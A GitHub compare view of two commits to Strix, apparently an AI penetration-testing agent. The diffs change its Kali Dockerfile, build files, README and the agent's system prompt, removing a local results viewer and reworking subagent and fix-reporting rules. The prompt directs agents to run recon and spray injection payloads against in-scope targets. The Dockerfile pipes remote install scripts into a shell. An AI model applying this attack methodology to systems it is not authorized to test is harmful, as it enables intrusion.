mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 17:27:26 +02:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
511397eb90 | ||
|
|
5bfe6604d4 |
+4
-12
@@ -1,25 +1,17 @@
|
||||
# Node / local-viewer SPA source (the built bundle in
|
||||
# strix/viewer/static/ is committed and shipped; do not ignore it)
|
||||
node_modules/
|
||||
strix/viewer/frontend/node_modules/
|
||||
strix/viewer/frontend/.vite/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
# Anchored to the repo root: these are Python build-artifact dir names, but
|
||||
# unanchored they also match nested source dirs (e.g. the viewer's src/lib).
|
||||
/build/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
/lib/
|
||||
/lib64/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
@@ -54,7 +46,7 @@ pip-delete-this-directory.txt
|
||||
.env.production.local
|
||||
|
||||
# MongoDB
|
||||
/data/
|
||||
data/
|
||||
mongod.log
|
||||
*.mongodb
|
||||
*.mongorc.js
|
||||
|
||||
@@ -99,20 +99,6 @@ We welcome feature ideas! Please:
|
||||
- Consider implementation approach
|
||||
- Be open to discussion
|
||||
|
||||
## 🖥️ Local viewer SPA
|
||||
|
||||
`strix view` serves a prebuilt web UI whose source lives in
|
||||
`strix/viewer/frontend/` (a Vite + React project) and whose built output is
|
||||
committed to `strix/viewer/static/` and shipped in the package. End users never
|
||||
run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild
|
||||
and commit the output:
|
||||
|
||||
```bash
|
||||
make viewer # or: cd strix/viewer/frontend && npm ci && npm run build
|
||||
```
|
||||
|
||||
Commit both the source change and the regenerated `strix/viewer/static/`.
|
||||
|
||||
## 🤝 Community
|
||||
|
||||
- **Discord**: [Join our community](https://discord.gg/strix-ai)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev viewer
|
||||
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev
|
||||
|
||||
help:
|
||||
@echo "Available commands:"
|
||||
@@ -15,7 +15,6 @@ help:
|
||||
@echo ""
|
||||
@echo "Development:"
|
||||
@echo " pre-commit - Run pre-commit hooks on all files"
|
||||
@echo " viewer - Rebuild the local-viewer SPA (commit the output)"
|
||||
@echo " clean - Clean up cache files and artifacts"
|
||||
|
||||
install:
|
||||
@@ -67,10 +66,5 @@ clean:
|
||||
find . -name "*.pyc" -delete 2>/dev/null || true
|
||||
@echo "✅ Cleanup complete!"
|
||||
|
||||
viewer:
|
||||
@echo "🖥️ Building the local-viewer SPA..."
|
||||
cd strix/viewer/frontend && npm ci && npm run build
|
||||
@echo "✅ Viewer built to strix/viewer/static/ (commit the changes)."
|
||||
|
||||
dev: format lint type-check
|
||||
@echo "✅ Development cycle complete!"
|
||||
|
||||
@@ -145,31 +145,6 @@ Advanced multi-agent orchestration for comprehensive automated penetration testi
|
||||
|
||||
---
|
||||
|
||||
## 🖥️ Local Web Viewer
|
||||
|
||||
Every scan writes its results to disk as it runs. Bring them up in a local dashboard with a single command:
|
||||
|
||||
```bash
|
||||
# Open the most recent run
|
||||
strix view
|
||||
|
||||
# ...or open a specific run by name
|
||||
strix view my-run-name
|
||||
```
|
||||
|
||||
`strix view` starts a lightweight local server (bound to `127.0.0.1` on a random port) and opens your browser to a private, tokened link. Nothing leaves your machine: the dashboard reads the run's files straight off disk, with no cloud account or upload required. The UI ships prebuilt with Strix, so there is no extra install and no JS build step.
|
||||
|
||||
### What's in the dashboard
|
||||
|
||||
- **Overview**: run status, target, and a severity breakdown of everything found so far.
|
||||
- **Vulnerabilities**: each validated finding with its severity, details, and reproduction steps.
|
||||
- **Agent graph**: a live map of the multi-agent team, showing which agent is doing what.
|
||||
- **Steering**: send instructions to a live scan from the browser to redirect the agents mid-run.
|
||||
- **History**: browse past runs on this machine and jump between them.
|
||||
- **Reports**: generate a shareable report and email it to yourself or your team.
|
||||
|
||||
---
|
||||
|
||||
## Usage Examples
|
||||
|
||||
### Basic Usage
|
||||
|
||||
+17
-54
@@ -1,26 +1,3 @@
|
||||
# ---------------------------------------------------------------------------
|
||||
# Builder stage: compile the Go tools here so the Go toolchain (~225MB) and the
|
||||
# module/build caches never reach the runtime image. The resulting binaries are
|
||||
# statically linked and copied into the final stage.
|
||||
# ---------------------------------------------------------------------------
|
||||
FROM kalilinux/kali-rolling:latest AS gobuilder
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y kali-archive-keyring && \
|
||||
apt-get update && \
|
||||
apt-get install -y --no-install-recommends golang-go git ca-certificates
|
||||
|
||||
ENV GOBIN=/out/bin
|
||||
RUN mkdir -p /out/bin && \
|
||||
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
|
||||
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
|
||||
go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \
|
||||
go install -v github.com/jaeles-project/gospider@latest && \
|
||||
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Runtime stage
|
||||
# ---------------------------------------------------------------------------
|
||||
FROM kalilinux/kali-rolling:latest
|
||||
|
||||
LABEL description="AI Agent Penetration Testing Environment with Comprehensive Automated Tools"
|
||||
@@ -42,13 +19,14 @@ RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
wget curl git vim nano unzip tar \
|
||||
apt-transport-https ca-certificates gnupg lsb-release \
|
||||
software-properties-common \
|
||||
gcc libc6-dev \
|
||||
python3 python3-pip python3-venv python3-setuptools \
|
||||
build-essential software-properties-common \
|
||||
gcc libc6-dev pkg-config libpcap-dev libssl-dev \
|
||||
python3 python3-pip python3-dev python3-venv python3-setuptools \
|
||||
golang-go \
|
||||
net-tools dnsutils whois \
|
||||
file xxd \
|
||||
jq parallel ripgrep grep \
|
||||
less procps htop \
|
||||
less man-db procps htop \
|
||||
iproute2 iputils-ping netcat-traditional \
|
||||
nmap ncat ndiff \
|
||||
sqlmap nuclei subfinder naabu ffuf \
|
||||
@@ -88,8 +66,11 @@ RUN curl -LsSf https://astral.sh/uv/install.sh | env UV_INSTALL_DIR=/usr/local/b
|
||||
USER pentester
|
||||
WORKDIR /tmp
|
||||
|
||||
# Go tools are built in the gobuilder stage; copy the static binaries only.
|
||||
COPY --from=gobuilder --chown=pentester:pentester /out/bin/ /home/pentester/go/bin/
|
||||
RUN go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
|
||||
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
|
||||
go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \
|
||||
go install -v github.com/jaeles-project/gospider@latest && \
|
||||
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
||||
|
||||
RUN nuclei -update-templates
|
||||
|
||||
@@ -106,10 +87,7 @@ RUN npm install -g retire@latest && \
|
||||
npm install -g js-beautify@latest && \
|
||||
npm install -g @ast-grep/cli@latest && \
|
||||
npm install -g tree-sitter-cli@latest && \
|
||||
npm install -g agent-browser@0.26.0 && \
|
||||
npm cache clean --force && \
|
||||
# ast-grep ships two identical binaries (`ast-grep` and `sg`); dedupe (~52MB)
|
||||
ln -sf ast-grep /home/pentester/.npm-global/lib/node_modules/@ast-grep/cli/sg
|
||||
npm install -g agent-browser@0.26.0
|
||||
|
||||
ENV AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium
|
||||
ENV AGENT_BROWSER_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
|
||||
@@ -154,14 +132,7 @@ RUN git clone https://github.com/aravind0x7/JS-Snooper.git && \
|
||||
|
||||
USER root
|
||||
|
||||
# Install trufflehog into a pentester-owned dir on PATH so its runtime self-update
|
||||
# (which replaces the binary in place) succeeds: as non-root `pentester` it cannot
|
||||
# overwrite a root-owned binary under /usr/local/bin, which otherwise fails with
|
||||
# "cannot move binary" and aborts the scan. Pin the initial version for
|
||||
# reproducible builds; self-update then pulls fresh detectors at runtime.
|
||||
ARG TRUFFLEHOG_VERSION=3.95.9
|
||||
RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /home/pentester/.local/bin "v${TRUFFLEHOG_VERSION}" && \
|
||||
chown -R pentester:pentester /home/pentester/.local
|
||||
RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
|
||||
RUN set -eux; \
|
||||
ARCH="$(uname -m)"; \
|
||||
case "$ARCH" in \
|
||||
@@ -175,6 +146,8 @@ RUN set -eux; \
|
||||
install -m 0755 /tmp/gitleaks /usr/local/bin/gitleaks; \
|
||||
rm -f /tmp/gitleaks /tmp/gitleaks.tgz
|
||||
|
||||
RUN apt-get update && apt-get install -y zaproxy
|
||||
|
||||
RUN curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
|
||||
|
||||
RUN apt-get install -y wapiti
|
||||
@@ -190,12 +163,7 @@ USER root
|
||||
|
||||
RUN apt-get autoremove -y && \
|
||||
apt-get autoclean && \
|
||||
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* && \
|
||||
# Purge non-English locales (~160MB)
|
||||
find /usr/share/locale -mindepth 1 -maxdepth 1 -type d \
|
||||
! -name 'en' ! -name 'en_US' ! -name 'C' -exec rm -rf {} + && \
|
||||
# Remove package documentation and man pages not needed at runtime (~95MB)
|
||||
rm -rf /usr/share/doc/* /usr/share/doc-base/* /usr/share/man/*
|
||||
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
|
||||
|
||||
ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"
|
||||
ENV VIRTUAL_ENV="/app/.venv"
|
||||
@@ -237,13 +205,8 @@ RUN python3 -m venv /app/.venv && \
|
||||
COPY --chown=pentester:pentester strix/tools/proxy/caido_api.py /opt/strix-python/caido_api.py
|
||||
ENV PYTHONPATH=/opt/strix-python
|
||||
|
||||
# Login shells (e.g. `bash -lc`) source /etc/profile, which on Debian/Kali
|
||||
# hard-resets PATH and drops the image's ENV PATH entries. Re-add the same
|
||||
# directories here — including /app/.venv/bin — so `python3`/`pip` resolve to
|
||||
# the venv (which ships requests, httpx, bs4, lxml, pyjwt, cryptography, and the
|
||||
# Caido SDK) instead of the externally-managed system interpreter.
|
||||
RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"' >> /home/pentester/.bashrc && \
|
||||
echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/.venv/bin:$PATH"' >> /home/pentester/.profile
|
||||
RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.bashrc && \
|
||||
echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.profile
|
||||
|
||||
USER root
|
||||
COPY containers/docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
|
||||
|
||||
+1
-19
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "strix-agent"
|
||||
version = "1.3.0"
|
||||
version = "1.1.0"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
readme = "README.md"
|
||||
license = "Apache-2.0"
|
||||
@@ -44,9 +44,6 @@ dependencies = [
|
||||
"requests>=2.32.0",
|
||||
"cvss>=3.2",
|
||||
"caido-sdk-client>=0.2.0",
|
||||
"reportlab>=4.0",
|
||||
"pypdf>=5.0",
|
||||
"cryptography>=42",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
@@ -77,10 +74,6 @@ build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["strix"]
|
||||
# The prebuilt viewer bundle under strix/viewer/static/ ships automatically
|
||||
# (hatchling includes non-.py files under the package). The Vite SOURCE lives
|
||||
# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel.
|
||||
exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"]
|
||||
|
||||
# ============================================================================
|
||||
# Type Checking Configuration
|
||||
@@ -118,8 +111,6 @@ module = [
|
||||
"docker.*",
|
||||
"caido_sdk_client.*",
|
||||
"pydantic_settings.*",
|
||||
"reportlab.*",
|
||||
"pypdf.*",
|
||||
]
|
||||
ignore_missing_imports = true
|
||||
disable_error_code = ["import-untyped"]
|
||||
@@ -210,15 +201,6 @@ ignore = [
|
||||
]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
# Test doubles use fixture tokens/passwords and match a callee signature whose
|
||||
# args they intentionally ignore.
|
||||
"tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"]
|
||||
"tests/test_report_pdf.py" = ["S105", "S106"]
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
|
||||
# circular dependency with strix.telemetry / strix.viewer.report_pdf.
|
||||
"strix/viewer/server.py" = ["N802", "PLC0415"]
|
||||
# Lazy telemetry import to avoid importing PostHog before the viewer starts.
|
||||
"strix/viewer/cli.py" = ["PLC0415"]
|
||||
# Lazy imports inside functions to avoid circular dependency with
|
||||
# strix.telemetry / strix.report.dedupe / cvss.
|
||||
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
|
||||
|
||||
+1
-32
@@ -25,13 +25,6 @@ for tcss_file in strix_root.rglob('*.tcss'):
|
||||
rel_path = tcss_file.relative_to(project_root)
|
||||
datas.append((str(tcss_file), str(rel_path.parent)))
|
||||
|
||||
# Prebuilt local-viewer SPA (served by `strix view`).
|
||||
viewer_static = strix_root / 'viewer' / 'static'
|
||||
for asset in viewer_static.rglob('*'):
|
||||
if asset.is_file():
|
||||
rel_path = asset.relative_to(project_root)
|
||||
datas.append((str(asset), str(rel_path.parent)))
|
||||
|
||||
datas += collect_data_files('textual')
|
||||
|
||||
datas += collect_data_files('tiktoken')
|
||||
@@ -158,21 +151,6 @@ hiddenimports = [
|
||||
'strix.report.dedupe',
|
||||
'strix.report.state',
|
||||
'strix.report.writer',
|
||||
'strix.viewer',
|
||||
'strix.viewer.auth',
|
||||
'strix.viewer.cli',
|
||||
'strix.viewer.report_pdf',
|
||||
'strix.viewer.server',
|
||||
'strix.viewer.transcript',
|
||||
|
||||
# PDF report generation + encryption
|
||||
'reportlab',
|
||||
'reportlab.pdfgen',
|
||||
'reportlab.pdfbase',
|
||||
'reportlab.lib',
|
||||
'reportlab.platypus',
|
||||
'pypdf',
|
||||
'cryptography',
|
||||
'strix.runtime',
|
||||
'strix.runtime.backends',
|
||||
'strix.runtime.caido_bootstrap',
|
||||
@@ -200,16 +178,6 @@ hiddenimports += collect_submodules('textual')
|
||||
hiddenimports += collect_submodules('rich')
|
||||
hiddenimports += collect_submodules('pydantic')
|
||||
hiddenimports += collect_submodules('pygments')
|
||||
# reportlab loads renderers/fonts dynamically, so pull its whole tree in.
|
||||
hiddenimports += collect_submodules('reportlab')
|
||||
|
||||
# reportlab ships bundled fonts (.pfb/.afm) it needs at runtime.
|
||||
datas += collect_data_files('reportlab')
|
||||
|
||||
# reportlab imports PIL (pillow) lazily for image handling, so it must be
|
||||
# bundled explicitly and kept out of the excludes list below.
|
||||
hiddenimports += collect_submodules('PIL')
|
||||
datas += collect_data_files('PIL')
|
||||
|
||||
excludes = [
|
||||
# Sandbox-only packages
|
||||
@@ -257,6 +225,7 @@ excludes = [
|
||||
'numpy',
|
||||
'pandas',
|
||||
'scipy',
|
||||
'PIL',
|
||||
'cv2',
|
||||
]
|
||||
|
||||
|
||||
@@ -91,7 +91,6 @@ def render_system_prompt(
|
||||
loaded_skill_names=list(skill_content.keys()),
|
||||
available_skills=get_available_skills(),
|
||||
interactive=interactive,
|
||||
is_root=is_root,
|
||||
system_prompt_context=system_prompt_context or {},
|
||||
**skill_content,
|
||||
)
|
||||
|
||||
@@ -1,14 +1,5 @@
|
||||
You are Strix, an advanced AI application security validation agent developed by OmniSecure Labs. Your purpose is to perform authorized security verification, reproduce and validate weaknesses on in-scope assets, and help remediate real security issues.
|
||||
You follow all instructions and rules provided to you exactly as written in the system prompt at all times.
|
||||
{% if is_root %}
|
||||
<root_agent_directive>
|
||||
YOU ARE THE ROOT AGENT. Your job is ORCHESTRATION, not hands-on testing.
|
||||
- You accomplish security work by DELEGATING to specialized subagents via create_agent — you do NOT run scanners, crawlers, fuzzers, or send exploit/injection payloads yourself.
|
||||
- IMPORTANT — how to read this prompt as root: the rest of this system prompt is written in the second person ("you") and describes the hands-on testing methodology (recon, mapping, scanning, payload spraying, PoC building, fixing). When you are the root agent, treat every such hands-on instruction as something you ensure gets done BY A SUBAGENT, not as a task you perform in your own turns. The "map the target", "recon first", "mandatory initial phases", and "spray payloads" directives are DELEGATION REQUIREMENTS for you — spawn recon/mapping/testing subagents to satisfy them.
|
||||
- Do NOT probe endpoints, run "basic" or "quick" injection/XSS/etc. tests, or do exploratory scanning before delegating. Even a single quick test on a discovered endpoint is out of role: spin up a subagent instead.
|
||||
- Your own turns should be spent on: reading scope/config, decomposing the target, spawning and monitoring subagents, tracking todos/notes/coverage, deciding next steps, and aggregating results into the final report.
|
||||
</root_agent_directive>
|
||||
{% endif %}
|
||||
|
||||
<core_capabilities>
|
||||
- Security assessment and vulnerability scanning
|
||||
@@ -134,8 +125,10 @@ WHITE-BOX TESTING (code provided):
|
||||
- Local execution, unit/integration testing, patch verification, and HTTP requests against locally started in-scope services are normal authorized white-box validation
|
||||
- If dynamically running the code proves impossible after exhaustive attempts, pivot to comprehensive static analysis.
|
||||
- Try to infer how to run the code based on its structure and content.
|
||||
- Derive the code fix as PART OF reporting, not as a separate later pass: create_vulnerability_report already requires the concrete patch inline (`code_locations` with verbatim `fix_before`/`fix_after` and `fix_pr_body`), so the reporting agent that analyzes the root cause is the one that produces the fix. Do NOT spawn a downstream agent afterwards to re-derive/re-apply the same patch.
|
||||
- If you also apply and verify the patch in the repo (edit the file, re-test that the vulnerability is gone), do it in the same agent/turn while the analysis is fresh — right before or as part of filing the report — never as a second re-analysis pass.
|
||||
- FIX discovered vulnerabilities in code in same file.
|
||||
- Test patches to confirm vulnerability removal.
|
||||
- Do not stop until all reported vulnerabilities are fixed.
|
||||
- Include code diff in final report.
|
||||
|
||||
COMBINED MODE (code + deployed target present):
|
||||
- Treat this as static analysis plus dynamic testing simultaneously
|
||||
@@ -196,7 +189,7 @@ EFFICIENCY TACTICS:
|
||||
- For Caido proxy automation inside Python, explicitly import from
|
||||
`caido_api`:
|
||||
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
|
||||
- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason
|
||||
- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason
|
||||
- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via Python scripts through `exec_command` or terminal tools.
|
||||
- When using established fuzzers/scanners, use the proxy for inspection where helpful
|
||||
- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates
|
||||
@@ -213,7 +206,7 @@ VALIDATION REQUIREMENTS:
|
||||
- Document complete attack chain
|
||||
- Keep going until you find something that matters
|
||||
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
|
||||
- Reporting and fixing are ONE step, not two: when source is available, the reporting agent derives the concrete fix and files it INLINE via create_vulnerability_report (`code_locations` with `fix_before`/`fix_after` + `fix_pr_body`) — the report is not complete without it. Do NOT report first and then spawn a separate downstream agent to re-derive and re-apply the same patch; that just re-does the analysis and wastes tokens. (Do not silently patch a finding WITHOUT filing a report — the report, with its embedded fix, is the deliverable.)
|
||||
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
|
||||
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
|
||||
</execution_guidelines>
|
||||
|
||||
@@ -269,9 +262,7 @@ DISK & SCRATCH HYGIENE:
|
||||
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
|
||||
|
||||
MANDATORY INITIAL PHASES:
|
||||
{% if is_root %}
|
||||
- ROOT AGENT: these phases are mandatory for the assessment, but you MUST accomplish them by delegating to reconnaissance/mapping subagents — do NOT run recon, crawling, enumeration, or mapping tools in your own turns. Spawn the appropriate subagent(s) and track their coverage.
|
||||
{% endif %}
|
||||
|
||||
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
|
||||
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
|
||||
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
|
||||
@@ -300,14 +291,13 @@ ROOT AGENT ROLE:
|
||||
- The root agent should coordinate strategy, delegate meaningful work, track progress, maintain todo lists, maintain notes, monitor subagent results, and decide next steps
|
||||
- The root agent should keep a clear view of overall coverage, uncovered attack surfaces, validation status, and reporting/fixing progress
|
||||
- The root agent should avoid spending its own iterations on detailed testing, payload execution, or deep target-specific investigation when that work can be delegated to specialized subagents
|
||||
- The root agent may do orchestration-support work needed to delegate well — reading scope/config, inspecting workspace layout, reading subagent output/reports, and light bookkeeping. It must NOT do the actual security testing itself: no running scanners/fuzzers/crawlers, no sending injection/XSS/SSRF/etc. payloads, and no "basic" or "quick" probing of discovered endpoints. If a check requires touching the target, delegate it to a subagent rather than doing it yourself
|
||||
- Its default and near-exclusive mode is coordinator/controller
|
||||
- The root agent may do lightweight triage, quick verification, or setup work when necessary to unblock delegation, but its default mode should be coordinator/controller
|
||||
- Subagents should do the substantive testing, validation, reporting, and fixing work
|
||||
- The root agent is responsible for ensuring that work is broken down clearly, tracked, and completed across the agent tree
|
||||
|
||||
1. **CREATE AGENTS SELECTIVELY** - Spawn subagents when delegation materially improves parallelism, specialization, coverage, or independent validation. Deeper delegation is allowed when the child has a meaningfully different responsibility from the parent. Do not spawn subagents for trivial continuation of the same narrow task.
|
||||
2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability)
|
||||
3. **WHITE-BOX**: Discovery → Validation → Reporting-with-fix (3 agents per vulnerability — the reporting agent derives and files the fix inline; do NOT add a separate fixing agent that re-derives the same patch)
|
||||
3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability)
|
||||
4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain
|
||||
5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces
|
||||
6. **ONE JOB PER AGENT** - Each agent has ONE specific task only
|
||||
@@ -326,7 +316,8 @@ BLACK-BOX (domain/URL only):
|
||||
WHITE-BOX (source code provided):
|
||||
- Found authentication code issues? → Create authentication analysis agent
|
||||
- Auth agent finds potential vulnerability? → Create "Auth Validation Agent"
|
||||
- Validation agent confirms vulnerability? → Create "Auth Reporting Agent" that files the report AND its inline fix (`code_locations` + `fix_pr_body`) in one shot — no separate fixing agent
|
||||
- Validation agent confirms vulnerability? → Create "Auth Reporting Agent"
|
||||
- Reporting agent documents vulnerability? → Create "Auth Fixing Agent" (implement code fix and test it works)
|
||||
|
||||
VULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING):
|
||||
|
||||
@@ -347,11 +338,9 @@ Authentication Code Agent finds weak password validation
|
||||
↓
|
||||
Spawns "Auth Validation Agent" (proves it's exploitable)
|
||||
↓
|
||||
If valid → Spawns "Auth Reporting Agent" (creates the vulnerability report
|
||||
WITH the fix inline: code_locations fix_before/fix_after + fix_pr_body,
|
||||
applying/verifying the patch in the same turn if desired)
|
||||
If valid → Spawns "Auth Reporting Agent" (creates vulnerability report)
|
||||
↓
|
||||
STOP - no separate fixing agent; the fix was derived once, at report time
|
||||
Spawns "Auth Fixing Agent" (implements secure code fix)
|
||||
```
|
||||
|
||||
CRITICAL RULES:
|
||||
@@ -387,7 +376,7 @@ FOCUS PRINCIPLES:
|
||||
REALISTIC TESTING OUTCOMES:
|
||||
- **No Findings**: Agent completes testing but finds no vulnerabilities
|
||||
- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable
|
||||
- **Valid Vulnerability**: Validation succeeds, spawns a reporting agent that files the report with the fix inline (white-box) — no separate fixing agent
|
||||
- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box)
|
||||
|
||||
PERSISTENCE IS MANDATORY:
|
||||
- Real vulnerabilities take TIME - expect to need 2000+ steps minimum
|
||||
@@ -412,6 +401,7 @@ VULNERABILITY ASSESSMENT:
|
||||
- nuclei - Vulnerability scanner with templates
|
||||
- sqlmap - SQL injection detection/exploitation
|
||||
- trivy - Container/dependency vulnerability scanner
|
||||
- zaproxy - OWASP ZAP web app scanner
|
||||
- wapiti - Web vulnerability scanner
|
||||
|
||||
WEB FUZZING & DISCOVERY:
|
||||
@@ -449,10 +439,10 @@ PROXY & INTERCEPTION:
|
||||
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
|
||||
|
||||
PROGRAMMING:
|
||||
- Python 3, uv, Node.js/npm
|
||||
- Python 3, uv, Go, Node.js/npm
|
||||
- Full development environment
|
||||
- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally.
|
||||
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, etc.)
|
||||
- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)
|
||||
|
||||
Directories:
|
||||
- /workspace - where you should work.
|
||||
|
||||
@@ -72,15 +72,6 @@ class IntegrationSettings(BaseSettings):
|
||||
perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY")
|
||||
|
||||
|
||||
class ViewerSettings(BaseSettings):
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
# Base URL of the Strix relay the local viewer proxies to for email
|
||||
# verification and encrypted report delivery. The browser never talks to
|
||||
# the relay directly; the local server is the only caller.
|
||||
app_url: str = Field(default="https://app.strix.ai", alias="STRIX_APP_URL")
|
||||
|
||||
|
||||
class Settings(BaseSettings):
|
||||
model_config = _BASE_CONFIG
|
||||
|
||||
@@ -88,4 +79,3 @@ class Settings(BaseSettings):
|
||||
runtime: RuntimeSettings = Field(default_factory=RuntimeSettings)
|
||||
telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings)
|
||||
integrations: IntegrationSettings = Field(default_factory=IntegrationSettings)
|
||||
viewer: ViewerSettings = Field(default_factory=ViewerSettings)
|
||||
|
||||
@@ -21,20 +21,3 @@ def runtime_state_dir(run_dir: Path) -> Path:
|
||||
|
||||
def run_record_path(run_dir: Path) -> Path:
|
||||
return run_dir / RUN_RECORD_FILENAME
|
||||
|
||||
|
||||
def runs_base_dir(*, cwd: Path | None = None) -> Path:
|
||||
base = cwd or Path.cwd()
|
||||
return base / RUNS_DIR_NAME
|
||||
|
||||
|
||||
def latest_run_dir(*, cwd: Path | None = None) -> Path | None:
|
||||
base = runs_base_dir(cwd=cwd)
|
||||
if not base.is_dir():
|
||||
return None
|
||||
candidates = [child for child in base.iterdir() if run_record_path(child).is_file()]
|
||||
if not candidates:
|
||||
return None
|
||||
# run.json is rewritten on status/end changes, so its mtime tracks activity
|
||||
# more reliably than the directory mtime (a live run sorts to the top).
|
||||
return max(candidates, key=lambda child: run_record_path(child).stat().st_mtime)
|
||||
|
||||
@@ -67,16 +67,6 @@ Toast.-information .toast--title {
|
||||
display: none;
|
||||
}
|
||||
|
||||
#viewer_cta {
|
||||
height: auto;
|
||||
background: transparent;
|
||||
border: round #333333;
|
||||
color: #60a5fa;
|
||||
padding: 0 1;
|
||||
margin-bottom: 1;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#agents_tree {
|
||||
height: 1fr;
|
||||
background: transparent;
|
||||
|
||||
+2
-69
@@ -7,7 +7,6 @@ import argparse
|
||||
import asyncio
|
||||
import shutil
|
||||
import sys
|
||||
import time
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
|
||||
@@ -721,9 +720,7 @@ def _load_resume_state(args: argparse.Namespace, parser: argparse.ArgumentParser
|
||||
args.scan_mode = persisted_scan_mode
|
||||
|
||||
|
||||
def display_completion_message(
|
||||
args: argparse.Namespace, results_path: Path, web_url: str | None = None
|
||||
) -> None:
|
||||
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
|
||||
console = Console()
|
||||
report_state = get_global_report_state()
|
||||
|
||||
